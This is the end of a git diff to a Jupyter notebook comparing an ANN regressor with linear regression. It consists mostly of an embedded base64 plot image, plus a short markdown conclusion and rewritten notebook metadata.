KLWrt2rWKxmC6++GK1tbWlxyxcuFBPPvmkVq5cqY0bN2rfvn267LLL0scTiYTmzJmjaDSqF154QQ899JBWrFih22+/PT1m9+7dmjNnji688EJt27ZNCxYs0LXXXqtnnnkmPebRRx/VokWLtHTpUm3dulXTpk1TTU2NGhsbe11LTkttqnhWYbskqf591gkBANDvzHFobGw0kszGjRuNMcY0NTUZn89nVq5cmR6zY8cOI8nU1dUZY4x56qmnjG3bJhQKpccsX77cBINBE4lEjDHGLF682EyaNCnjs+bNm2dqamrSX8+aNcvU1tamv04kEqaystIsW7as17UcS3Nzs5FkmpubezW+Xz33r8YsDZpDv73GjPnOKjNl6RqTSDjZrwMAgBNMX35/H9caoebm5LqVIUOGSJLq6+sVi8VUXV2dHjNhwgSNHj1adXV1kqS6ujpNmTJF5eXl6TE1NTUKh8N6/fXX02O6n6NrTNc5otGo6uvrM8bYtq3q6ur0mN7U8nGRSEThcDjj5ZrUGqFS57AK/B6FO+N6q7HVvXoAADgJfeYg5DiOFixYoPPOO0+TJ0+WJIVCIfn9fpWWlmaMLS8vVygUSo/pHoK6jncdO9qYcDisjo4OHTx4UIlEoscx3c9xrFo+btmyZSopKUm/Ro0a1curMQBSewnZrY2aPrpMEuuEAADob585CNXW1uq1117TI4880p/1uGrJkiVqbm5Ov/bu3eteManF0moNaebYZBB6iSAEAEC/8n6Wb7rxxhu1atUqPffccxo5cmT6/YqKCkWjUTU1NWV0YhoaGlRRUZEe8/G7u7ru5Oo+5uN3dzU0NCgYDCo/P18ej0cej6fHMd3PcaxaPi4QCCgQCPThSgyg1GJptR3U7JF5kqQtbKwIAEC/6lNHyBijG2+8UY8//rjWr1+vcePGZRyfMWOGfD6f1q1bl35v165d2rNnj6qqqiRJVVVV2r59e8bdXWvXrlUwGNTEiRPTY7qfo2tM1zn8fr9mzJiRMcZxHK1bty49pje15LTC4VLZWElG0xv/II9t6cOmDu1r6nC7MgAATh59WYV9ww03mJKSErNhwwazf//+9Ku9vT095vrrrzejR48269evNy+99JKpqqoyVVVV6ePxeNxMnjzZXHzxxWbbtm1mzZo1Zvjw4WbJkiXpMe+++64pKCgwt956q9mxY4e5//77jcfjMWvWrEmPeeSRR0wgEDArVqwwb7zxhrnuuutMaWlpxt1ox6rlWFy9a8wYY7b+1pilQWPuGmf+9t5nzJjvrDJ/3PahO7UAAHCC6Mvv7z4FIUk9vn7zm9+kx3R0dJhvf/vbpqyszBQUFJhLL73U7N+/P+M87733nrnkkktMfn6+GTZsmPmHf/gHE4vFMsY8++yz5uyzzzZ+v9+cdtppGZ/R5ec//7kZPXq08fv9ZtasWebFF1/MON6bWo7G9SAUjxnzs+nGLA2adQ/cYsZ8Z5W57Ynt7tQCAMAJoi+/vy1jjHGrG5XrwuGwSkpK1NzcrGAw6E4Rr66U/nCtYr6gZrT8m0495RQ9ffMX3KkFAIATQF9+f/OssVw3+TJp+AT5YmFd431aO0NhhTtjblcFAMBJgSCU62yPdOE/SpKu9T6tEtOirTxuAwCAfkEQOhFM+JpUMUWF6tB13tV64Z1DblcEAMBJgSB0IrBt6cLvSZL+3vOM1rz4ig60RFwuCgCAEx9B6ERx5ldkTp2hAiui+c4Tuue/3nS7IgAATngEoROFZclKdYW+5fkvbdiyTW83trhcFAAAJzaC0Ink9C9JY85TwIrp2/bjuvPpnW5XBADACY0gdCKxLOlLt0mS/qdng3bt3K4X32XhNAAAnxVB6EQzpkoaXy2fldAC7+/1o6d2yHHYExMAgM+CIHQi+tL3JUmX2n9R+4ev68lX97lcEAAAJyaC0Imo8hzpc1+TbRkt8v6n7l6zS52xhNtVAQBwwiEInagu/J6MLH3Vs1llza/rN395z+2KAAA44RCETlQjPidr6v+UJN3iXan7n31bB1vZZBEAgL4gCJ3I/vq7MrZXf+15RZ+PbdFP1rLJIgAAfUEQOpENOU3W7OslST/y/btWb96pnaGwy0UBAHDiIAid6C78nlQ2TqdYh/Udz8P64eodMobb6QEA6A2C0InOXyB9/T5J0v/yrlf8nY3asOuAy0UBAHBiIAidDMaeL828RpJ0l/dX+tdVWxVLOC4XBQBA7iMInSy+/AM5wZEabR/Q3Kbf6OFNe9yuCACAnEcQOlkEimX/j3slSX/veUZr//wnNbZ0ulwUAAC5jSB0MhlfLWfa/5JtGX3P+bX+5cnX3K4IAICcRhA6ydg1P1TCH9Tn7D3yv/6YNr7JwmkAAD4NQehkUzBEni/eKkm6xfuY/uXxep5DBgDApyAInYxmXSenZLQqrCOqCf+nfr7+LbcrAgAgJxGETka+PNnVSyVJN3j/pN9v3Ko3G1pcLgoAgNxDEDpZTZ4rnTpDhVZEN9n/qe89vl2Ow47TAAB0RxA6WVmWdPG/SJLmeZ7Vkfe367GX9rpcFAAAuYUgdDIb81fShL+R13L0Xe9/6M41O3WoNeJ2VQAA5AyC0Mmu+gcytlfVnpd1dudm/fCpHW5XBABAziAIneyGjZc1+3pJ0o98/64/b31LL7xz0OWiAADIDQShweDC70ll41RpHdYS73/o+0+8pkicvYUAACAIDQb+Aul//FySdIV3ncoPbdavNr7rclEAALiPIDRYjPuCNPMaSdJd3l/pwWdf03sH21wuCgAAdxGEBpMv/0CmZKRG2wd0sx7R957YLmPYWwgAMHgRhAaTQLGsr90rSfp7zzPqfOcF/XbTHpeLAgDAPQShwWZ8tXT2t2RbRnf5fq0fr35V7x9iigwAMDgRhAajmn+RKRyh8fY+/Z3zR92y8hUlePwGAGAQIggNRvllsr6yTJJ0k/cJNb6/Q//n+d0uFwUAQPYRhAaryXOl0/5aASumf/b+Rj/+80693cgT6gEAgwtBaLCyLGnOT2Q8AV3g2a4a5y9a9NgriicctysDACBrCEKD2dDTZV1wiyRpqf//03sf7NNP1r7pclEAAGQPQWiwO+9maegZGqZm3eJ9TL/Y8I7W72xwuyoAALKCIDTYeQPS3/xEkvQt73+pyn5dCx99RR8caXe5MAAABh5BCNK4C5J7C8no14F7VNH5jmofflnROOuFAAAnN4IQkub8qzS6SkWmTf83cLca976jHz21w+2qAAAYUAQhJPnypW8+LA07S+U6rIf8d+oPL7ymVa/uc7syAAAGDEEIHykYIn3r91LxKTrT/lC/9v9E331sC4unAQAnLYIQMpWOkq74T5lAsWbbO/VT617d9H/r6AwBAE5KBCF8UsVkWd98WMbj15c99fqd9w7d8R/P6rGX9rpdGQAA/YoghJ6Nu0DWlU/I5JfpbPsd/cF/ux78/Wo99MJ7blcGAEC/IQjh0409T9a162SGjtdI66B+7/8nrV/1sJb84VU1d8Tcrg4AgONGEMLRDT1d1jVrZcaer2KrQ//Hd7dG1N+jr/zbOq15LeR2dQAAHBeCEI6tYIisbz0unf0teSyjhb7f68HoYt37uz/oht/WqzHc6XaFAAB8JgQh9I7XL339Pmnuv8vkl2mS/b7+5P++ztjxC1304//S0j++pr2HeSwHAODEYhljjNtF5KpwOKySkhI1NzcrGAy6XU7uaG2UVi2Udq6SJL3tVGpFokZ/dM7XF6ecpv/3gtM1ZWSJy0UCAAarvvz+JggdBUHoKIyRXvu9zFO3yOo4IklqNXn6Q+IL+m2iWnb5RF08sVwXT6rQpMqgLMvK/N62g8kNHG2PSz8AAOBkRRDqJwShXuhokl55RNryoHTorfTbbzuV+m9niv7bmaK9xdP1xYmnaG7Zezqr5QXZb6+VjrwnlYySZl4lTZ8vFQ5z7UcAAJxcCEL9hCDUB8ZIu5+TtvxaZudTskwifShmPIrJqwIr0vO3evwyky6TPf3vpFOmSoHibFUNADgJEYT6CUHoM+poSoaid5+V8/Z62U3vSZIaVab/ip+tZ51ztMU5S1+yX9Z87581zX4349ubfSPUXjJenhFnKpgfUCAeltXZLHUckWRJZ14sTbpMKhuT9R8NAJD7CEL9hCDUT468J8U6FB9ypur3NOnPbzTov986oMNtUYU74/pc4k39nffP+oL9mkZYTb0+bWPJVO0fNUcafpZKfXGVeOMqsqPyKiEVlUvBSik4Mjnt1n2NEgDgpEYQ6icEoeyIxBNq6Ywr1Nypd/Z8oCPvb1e8YacCze+oNWrUbArVrEI1m0KVWm2aY7+oKvsN2Vbv/tWNW36FAxVqLhijlsLRaiscq2hRpUbYLRqRCCkY2SdfeK9k2dKpM6RRs6SRs6Ti8gH+yQEAA4Eg1E8IQu7rjCXUEO7Uh00d2t/UqVC4U+HOmEx4v8YfXKcpzRuVF29Ri/GrNeFTu/HLka0R1hFVWof71GH6uA81Qm/Zp2mPd6w+zDtdB/JPV15BsWb53tXnEjt1ast2FR5+TSavRPHyaYoOn6r2YZMVKR6rUtOkwsgB2a0hqSWU7EjllyXvlMsfkvyzcLhUOCL5vv0pW3oZI0XbktOCHUckk5AKhiZfvgI6XQDQA4JQPyEInVgcx6ipI6aDrREdbInoQGtEh5pbFTn8oQKt76usfY/KIns1NPKBSqMNOmCCejc+VO/GhmmvGa6AFdN06y2dY7+ls6wPet1xOu66ZavdV6qEJ1+2HHnkyJaRbeLyxlpkOz0/183xBBQLDJGTVya7oEzewiHyFA2VCoYlpwVLRkrBU6WSU6W80s8emsL7pA+3Svu3Sb586YwaqXxSz+dLxKXOZsmJSU489UokXyYhGSf5d28gWZ+/8LPVNNAOvi01vZ/sDrJ4HzjhEIT6CUFocGjpjOnDpg6FO+Lyeiz5bFu+eKsKD74q+8Dr8h7cofzDO1XY/JZsJ6pQ3ml63T5LddHTtaFttErVqin2bk317NYU6z1V6KAOmBI1mCFqUKkaTJksSaVqVZnVqlKrRUPUoiFWi8qs1l7VGDUeNalYJnWegBXv088YkU9NVonCdqlavGVq85Qq4i1S1FukmK9YcW+x8jyOitSmItOuAqdNxbEDGhZ+Q3mdjZ88X2GlQhV/rX2ln1dJ4qCGtbyp4vBO5R1+U1ai57sDe1QwVCodndxKoXC4lF8q5ZUkX4FiyeOXbJ/kSb3yy6SiiuT3dXXREvHkOrQDO6QDO6Xw/o86aB1HpFiHNPY8afJcafRffXr3TZL2bpH+ck96s1DZPmnMX0ln1khnXCwNHX/8XbjWxmRdXT+nN4/OHtDPCEL9hCCEDE5CSkSTXZGUzlhCjjEKeD3y2B/9MovEEzrcFtWh1qgOtUXVGUso4RjFHaOE4ygWN+qIJdTZ2Sm1H5LdfkCxaIfaolJbNKG2mNQWM2py8nXYKVRLwq+oY2SMkdeyVGxHNNRuUZnVIm+kSd5Ik4pMq8rUqmFWs06xDusU65BOsQ5pqNVyXD92wlh604zUq87pGmKFdb79mvKt6DG/Jy6PEvLIsWw5spWQnep1WcpTVEX67I9kScijsG+oona+hkb3yWt67pp9XHtghN4Z8WXtK52pvPx85QcCys8LKGhaVb5jhfI+fCE10kp21cIfZnx/vGCEOoZPVefwaeocMU2xYROVV1ymgoIiFeb55fN8Sshq2ivt+JP0xh+lvZsyj3n8yYA37Mxkp618cvLP0jHJR9vYvlQgdOmJSJFWaddT0u6NydDWFeDySpJTu0NPl8rGJrt8J6PwvuReaUd2S6ddmAzFudrJRBpBqJ8QhHCiMMaoLZrQkbao2qJxWerWYYi3y2k5oHhLo0xro9R2UFb7QdnRFnkizfLEWuWNtigmj9qsQrVahWpRoQ6bIu0wY/RybLRCHR41tUdlWZYq8hx9MbBDX9RWTYjvVKM1XDs1Rq/GR+ulzpF63xkmpxePMQyqTadaBzXSOqBTrYMqs1oVVJuCVpuCalex1SGvEvIpLl/qz1KrRcOt8CfO1W4CettU6i0zUh+YYWoyRcmXimTL0cV2vS7xbFbQOnr4ihqP/uh8QY/4L9V+7yiVdLyvqsRWXWi/rNn2DvmtxKd+b4fxq1MBtStPHQqow8pTu/JUrA5N1DuZ9XqKlZdoky3nmNepiyOPIp4CRTyFinqLFPUUKuYtVMIOyPH4ZWy/HE9AAdOpvHhYgXhrcusJk1BH/ilqLzhVrQWnKpx3qrw+v4KeqIrtqAqtiAK2o2hgmDoCw9QWGK4Wb5lKjrym8vdXKfDOGlmxo183Y9kywZGKl46VVVQub9EwWQVDk2vhJKl5bzIMNu2Rmj9I/h8Ky5K6/3vqxJLdPScmJWLJDuGwM5IBcfhZ0pDTkuHLX5h6FSXP034ouVN9+6GPOoDxztSfESkvKFVOT94IUTi0hwvrJMfb3mTX0bKS37dztbTtd9I765NTul28+dIZX5YmfSMZjLp+xk9cFJPs/kXCyRsxLDu1k37q/LH2ZI2x9uRnBoolf3Hyz7wgYes4DWgQeu655/TjH/9Y9fX12r9/vx5//HF94xvfSB83xmjp0qX69a9/raamJp133nlavny5zjjjjPSYw4cP66abbtKTTz4p27Y1d+5c3XvvvSoqKkqPefXVV1VbW6stW7Zo+PDhuummm7R48eKMWlauXKnbbrtN7733ns444wzddddd+upXv9qnWo6GIAR8xHGMLEuZj0v5GGOMOmOOonFHkXhCkdSfxkhGyd8NkuQYo4STeqX+Hks4iiWMYnFH0UTyHJnnceQ4Rh4TV0H8sAojB+SPt2iffao+NEPVEnXU0hlXZyyheMIo5jiKJ5LnzvPZKvE7mhF7Wed2PKfh0b0Za5gcx2iDM1UPRC9RSJ/8ZWlb0vCAo0me9zXJvK2JqdcY7e/dtTOWNpsJeioxS2sSs9SoMklGhepUUO0aZjXrLHuvJlh79Dlrjz5nv68hvZw2zYa91inalHe+ovIqP9GqfKdVhYkWDTOHNMrsV5HV6XaJvdJaOErNpZPkdSLK7zygQOcB+ToPyTYfTTUbK/nYn+6bwprRVdIp0+TsWiNPal+0LtHCSsWGT5JTPlme0lHKa35HdsNrUsPrUvvBz15sySip8uxkiKs8J9l1S8SkeCrgxTuTXxun21q8mBTrTI6JdSbHePOSwSoQTAZJX0EqhLUnb8SItiUDYMGwZFAsGJbsUDrxZNCMR5Kf48uXiiuO/Vgkx0l9X2fyT49P8hUmu5tZNKBB6Omnn9Zf/vIXzZgxQ5dddtkngtBdd92lZcuW6aGHHtK4ceN02223afv27XrjjTeUl5cnSbrkkku0f/9+PfDAA4rFYrrqqqv0+c9/Xg8//HD6BzjzzDNVXV2tJUuWaPv27br66qt1zz336LrrrpMkvfDCC7rgggu0bNky/c3f/I0efvhh3XXXXdq6dasmT57c61r660ICOPF1xhI60h7VkbaYYglHpQU+leb7VZznlW33EAAdR4p3KNbZqo62VnW2h+V0tkuxVplom6xYm+IJo8ahs3RApWruiCncEVM0kewwWLKS4VKSbSX/bluWbEsyibicRFTxWFSJeEwm3ilvrE3+eKt88Vb5463yxttlOVHZiYg8TlR2IqoO+ZNbTpgCHTEFijmWTjEHdIppULnToBGJBslJqNUJKOz4FY77FDO2hlnNqrCbNMJq0lA166BK9af4uXoicZ5eNacpo3uTwWiYwhpr7dcYq1FDrLCGWC3pNXEeOfrADNOHZpg+MMO1zwxVp/ypn9+kzxqTR3F5FDceJWSr3Dqi8dY+nW7v0+nWPo2yDqhQHSqwOlWkTuVbUcWNrSMq1iET1BFTrCYVql0BRYxfnfIrIp9GWEd0tvWOTrd7F1q77DdD9J+JC/SfiQv0vqmQZSWD/iTrPc3xbFKNveWY50zIVoeVvAnCNo5sObJkFLX8iloBRa08Ra1A8qZS0658p10Bp12ePnQKs8r2yZSOkhMcpUTxqfLG22V3pDpybQeS3a/Ep0yb295kIAoUJe+czS/96C7a0tHSFxb1a6lZmxqzLCsjCBljVFlZqX/4h3/QLbfcIklqbm5WeXm5VqxYoW9+85vasWOHJk6cqC1btmjmzJmSpDVr1uirX/2qPvjgA1VWVmr58uX63ve+p1AoJL8/+T+Y7373u3riiSe0c+dOSdK8efPU1tamVatWpes599xzdfbZZ+uXv/xlr2o5FoIQgJOdMUaRuCO/x/4o7CViku1VNGF0sDWihnCnDrVG5fFYCnjt1MujgNdWvt+jAr9XBf7k15G4o9ZIXG2RuFojcXVEE6nOnpPuEEqSx7bksaz0Z0a7He+MOer+q8myrHSdkVhCnXFHkWhU0YQUc6R4Vzcx4cgxyZ/J6KPOoyTlJ1p0WnSXRkbfVZvJ1wGVqtGUKuSU6YiTJ8tJyDIxWU5cxknog3ip2mKf/PWY57NVku9TSb5P+U6bTo28q9Gxd3R64l2Vm0N6x1Rqhxmtnc5ovWlGqlN9XTtlktOp1vuaYr+rqfa7mmq9q3LriCLyJQOe8Skqn2LyKiFLiVSITMhWp/FnjAtYMRWnppqDalO+ompXQB0KqM3kqV0BBRTTEKtFQ6ywhqpFASu55s4xlqLyKiqf8hWR7yhTw8fjSP4YlX3n1X49Z19+f3v784N3796tUCik6urq9HslJSWaPXu26urq9M1vflN1dXUqLS1NhyBJqq6ulm3b2rRpky699FLV1dXpggsuSIcgSaqpqdFdd92lI0eOqKysTHV1dVq0KDNB1tTU6Iknnuh1LQAw2FmWpTzfx6Y7PD5Jkt9rqbI0X5Wl+T18Z8/yfB7l+TwaVpSLi6erjz2kG8dJhq+O1M0OwXyvAt5PnxqKxh1NjsT1pc6YWjrjaumMK5pw5JjkjQ6OIyVSf4+npoYdYxRLGMUTRnEnOR0cd4w81gx5bEvNHksv2LaMPjlt3BFLqD2aUEc0+WdXyOyKb8YodX4nNV1sFE846dDZNfXsmOT0r2VZsmXkN1E1x6S22EddQI8SqtBhjbQOapTdqHIdUZvydNgEdUjFOmyCajaF6U5cRD7F5ZFXCRUoogJ1qsCKqEgdKrNaVZLqGJZZLfI7pfp2n/9Z9p9+DUKhUEiSVF6euSNveXl5+lgoFNKIESMyi/B6NWTIkIwx48aN+8Q5uo6VlZUpFAod83OOVcvHRSIRRSIf3fobDn9yUSYAYHCwbUv5fo/y/cdYF5Pi99oa4vVrSGF218MMlHjCUVskoZZITAnHpLuAfq8tr8dSWySh5o6YmjtiampP3h1rWclbNbrWEkbiCbVHEmqLxtUeTagz1m3tlZHikopdvl79GoROdMuWLdMPfvADt8sAAMB1Xo+tkgJbJQW+Ho8HvJ6TIvT168YUFRUVkqSGhoaM9xsaGtLHKioq1NiYuUFbPB7X4cOHM8b0dI7un/FpY7ofP1YtH7dkyRI1NzenX3v37u3FTw0AAE5U/RqExo0bp4qKCq1bty79Xjgc1qZNm1RVVSVJqqqqUlNTk+rr69Nj1q9fL8dxNHv27PSY5557TrHYR5ukrV27VmeddZbKysrSY7p/TteYrs/pTS0fFwgEFAwGM14AAOAkZvqopaXFvPzyy+bll182ksxPfvIT8/LLL5v333/fGGPMnXfeaUpLS80f//hH8+qrr5qvf/3rZty4caajoyN9jq985SvmnHPOMZs2bTLPP/+8OeOMM8zll1+ePt7U1GTKy8vNlVdeaV577TXzyCOPmIKCAvPAAw+kx/zlL38xXq/X/Ou//qvZsWOHWbp0qfH5fGb79u3pMb2p5Wiam5uNJNPc3NzXywQAAFzSl9/ffQ5Czz77rFFqb7Tur/nz5xtjjHEcx9x2222mvLzcBAIBc9FFF5ldu3ZlnOPQoUPm8ssvN0VFRSYYDJqrrrrKtLS0ZIx55ZVXzPnnn28CgYA59dRTzZ133vmJWh577DFz5plnGr/fbyZNmmRWr16dcbw3tRwNQQgAgBNPX35/84iNo2AfIQAATjx9+f3t0lP8AAAA3EcQAgAAgxZBCAAADFoEIQAAMGgRhAAAwKBFEAIAAIMWQQgAAAxaBCEAADBo8fT5o+jaazIcDrtcCQAA6K2u39u92TOaIHQULS0tkqRRo0a5XAkAAOirlpYWlZSUHHUMj9g4CsdxtG/fPhUXF8uyrH49dzgc1qhRo7R3714e3zHAuNbZw7XOHq519nCts6e/rrUxRi0tLaqsrJRtH30VEB2ho7BtWyNHjhzQzwgGg/wPK0u41tnDtc4ernX2cK2zpz+u9bE6QV1YLA0AAAYtghAAABi0CEIuCQQCWrp0qQKBgNulnPS41tnDtc4ernX2cK2zx41rzWJpAAAwaNERAgAAgxZBCAAADFoEIQAAMGgRhAAAwKBFEHLB/fffr7FjxyovL0+zZ8/W5s2b3S7phLds2TJ9/vOfV3FxsUaMGKFvfOMb2rVrV8aYzs5O1dbWaujQoSoqKtLcuXPV0NDgUsUnjzvvvFOWZWnBggXp97jW/efDDz/Ut771LQ0dOlT5+fmaMmWKXnrppfRxY4xuv/12nXLKKcrPz1d1dbXeeustFys+MSUSCd12220aN26c8vPzdfrpp+uf//mfM55VxbX+7J577jl97WtfU2VlpSzL0hNPPJFxvDfX9vDhw7riiisUDAZVWlqqa665Rq2trcddG0Eoyx599FEtWrRIS5cu1datWzVt2jTV1NSosbHR7dJOaBs3blRtba1efPFFrV27VrFYTBdffLHa2trSYxYuXKgnn3xSK1eu1MaNG7Vv3z5ddtllLlZ94tuyZYseeOABTZ06NeN9rnX/OHLkiM477zz5fD49/fTTeuONN/Rv//ZvKisrS4+5++679bOf/Uy//OUvtWnTJhUWFqqmpkadnZ0uVn7iueuuu7R8+XLdd9992rFjh+666y7dfffd+vnPf54ew7X+7Nra2jRt2jTdf//9PR7vzbW94oor9Prrr2vt2rVatWqVnnvuOV133XXHX5xBVs2aNcvU1tamv04kEqaystIsW7bMxapOPo2NjUaS2bhxozHGmKamJuPz+czKlSvTY3bs2GEkmbq6OrfKPKG1tLSYM844w6xdu9Z88YtfNDfffLMxhmvdn77zne+Y888//1OPO45jKioqzI9//OP0e01NTSYQCJj/+I//yEaJJ405c+aYq6++OuO9yy67zFxxxRXGGK51f5JkHn/88fTXvbm2b7zxhpFktmzZkh7z9NNPG8uyzIcffnhc9dARyqJoNKr6+npVV1en37NtW9XV1aqrq3OxspNPc3OzJGnIkCGSpPr6esVisYxrP2HCBI0ePZpr/xnV1tZqzpw5GddU4lr3pz/96U+aOXOm/vZv/1YjRozQOeeco1//+tfp47t371YoFMq41iUlJZo9ezbXuo/+6q/+SuvWrdObb74pSXrllVf0/PPP65JLLpHEtR5Ivbm2dXV1Ki0t1cyZM9NjqqurZdu2Nm3adFyfz0NXs+jgwYNKJBIqLy/PeL+8vFw7d+50qaqTj+M4WrBggc477zxNnjxZkhQKheT3+1VaWpoxtry8XKFQyIUqT2yPPPKItm7dqi1btnziGNe6/7z77rtavny5Fi1apH/8x3/Uli1b9L//9/+W3+/X/Pnz09ezp/+mcK375rvf/a7C4bAmTJggj8ejRCKhH/7wh7riiiskiWs9gHpzbUOhkEaMGJFx3Ov1asiQIcd9/QlCOOnU1tbqtdde0/PPP+92KSelvXv36uabb9batWuVl5fndjknNcdxNHPmTP3oRz+SJJ1zzjl67bXX9Mtf/lLz5893ubqTy2OPPabf/e53evjhhzVp0iRt27ZNCxYsUGVlJdf6JMfUWBYNGzZMHo/nE3fPNDQ0qKKiwqWqTi433nijVq1apWeffVYjR45Mv19RUaFoNKqmpqaM8Vz7vquvr1djY6OmT58ur9crr9erjRs36mc/+5m8Xq/Ky8u51v3klFNO0cSJEzPe+9znPqc9e/ZIUvp68t+U43frrbfqu9/9rr75zW9qypQpuvLKK7Vw4UItW7ZMEtd6IPXm2lZUVHzipqJ4PK7Dhw8f9/UnCGWR3+/XjBkztG7duvR7juNo3bp1qqqqcrGyE58xRjfeeKMef/xxrV+/XuPGjcs4PmPGDPl8voxrv2vXLu3Zs4dr30cXXXSRtm/frm3btqVfM2fO1BVXXJH+O9e6f5x33nmf2AbizTff1JgxYyRJ48aNU0VFRca1DofD2rRpE9e6j9rb22Xbmb8SPR6PHMeRxLUeSL25tlVVVWpqalJ9fX16zPr16+U4jmbPnn18BRzXUmv02SOPPGICgYBZsWKFeeONN8x1111nSktLTSgUcru0E9oNN9xgSkpKzIYNG8z+/fvTr/b29vSY66+/3owePdqsX7/evPTSS6aqqspUVVW5WPXJo/tdY8ZwrfvL5s2bjdfrNT/84Q/NW2+9ZX73u9+ZgoIC89vf/jY95s477zSlpaXmj3/8o3n11VfN17/+dTNu3DjT0dHhYuUnnvnz55tTTz3VrFq1yuzevdv84Q9/MMOGDTOLFy9Oj+Faf3YtLS3m5ZdfNi+//LKRZH7yk5+Yl19+2bz//vvGmN5d26985SvmnHPOMZs2bTLPP/+8OeOMM8zll19+3LURhFzw85//3IwePdr4/X4za9Ys8+KLL7pd0glPUo+v3/zmN+kxHR0d5tvf/rYpKyszBQUF5tJLLzX79+93r+iTyMeDENe6/zz55JNm8uTJJhAImAkTJphf/epXGccdxzG33XabKS8vN4FAwFx00UVm165dLlV74gqHw+bmm282o0ePNnl5eea0004z3/ve90wkEkmP4Vp/ds8++2yP/42eP3++MaZ31/bQoUPm8ssvN0VFRSYYDJqrrrrKtLS0HHdtljHdts0EAAAYRFgjBAAABi2CEAAAGLQIQgAAYNAiCAEAgEGLIAQAAAYtghAAABi0CEIAAGDQIggBAIBBiyAEAAAGLYIQAAAYtAhCAABg0CIIAQCAQev/B+bwqEYJb7y/AAAAAElFTkSuQmCC\n"
+          },
+          "metadata": {}
+        }
+      ]
+    },
+    {
+      "cell_type": "markdown",
+      "source": [
+        "As ANN  model r2 score is much more greater than linear regression model like ANN R2 Score is =78.9% and Linear Regression model R2 score is 66%,ANN is performing much more better in this problem statement ,As we can see visualiazation also no overfitting or etc ANN  model is perfect ."
+      ],
+      "metadata": {
+        "id": "q4gCRW_Vyoij"
+      },
+      "id": "q4gCRW_Vyoij"
+    },
+    {
+      "cell_type": "code",
+      "source": [],
+      "metadata": {
+        "id": "Rcf92vaAzOtr"
+      },
+      "id": "Rcf92vaAzOtr",
+      "execution_count": null,
+      "outputs": []
+    }
+  ],
+  "metadata": {
+    "kernelspec": {
+      "display_name": "Python 3",
+      "language": "python",
+      "name": "python3"
+    },
+    "language_info": {
+      "codemirror_mode": {
+        "name": "ipython",
+        "version": 3
+      },
+      "file_extension": ".py",
+      "mimetype": "text/x-python",
+      "name": "python",
+      "nbconvert_exporter": "python",
+      "pygments_lexer": "ipython3",
+      "version": "3.12.6"
+    },
+    "colab": {
+      "provenance": [],
+      "toc_visible": true
     }
-   ],
-   "source": [
-    "# Scatter plot of Actual vs Predicted values\n",
-    "plt.figure(figsize=(10,5))\n",
-    "sns.scatterplot(x=y_test, y=y_pred)\n",
-    "\n",
-    "# Add diagonal line (perfect predictions line)\n",
-    "plt.plot(\n",
-    "    [y_test.min(), y_test.max()],\n",
-    "    [y_test.min(), y_test.max()],\n",
-    "    color=\"red\", linestyle=\"--\", linewidth=2\n",
-    ")\n",
-    "\n",
-    "# Labels and title\n",
-    "plt.xlabel(\"Actual Values (y_test)\")\n",
-    "plt.ylabel(\"Predicted Values (y_pred)\")\n",
-    "plt.title(\"Actual vs Predicted Values\")\n",
-    "plt.show()\n"
-   ]
-  }
- ],
- "metadata": {
-  "kernelspec": {
-   "display_name": "Python 3",
-   "language": "python",
-   "name": "python3"
   },
-  "language_info": {
-   "codemirror_mode": {
-    "name": "ipython",
-    "version": 3
-   },
-   "file_extension": ".py",
-   "mimetype": "text/x-python",
-   "name": "python",
-   "nbconvert_exporter": "python",
-   "pygments_lexer": "ipython3",
-   "version": "3.12.6"
-  }
- },
- "nbformat": 4,
- "nbformat_minor": 5
-}
+  "nbformat": 4,
+  "nbformat_minor": 5
+}
\ No newline at end of file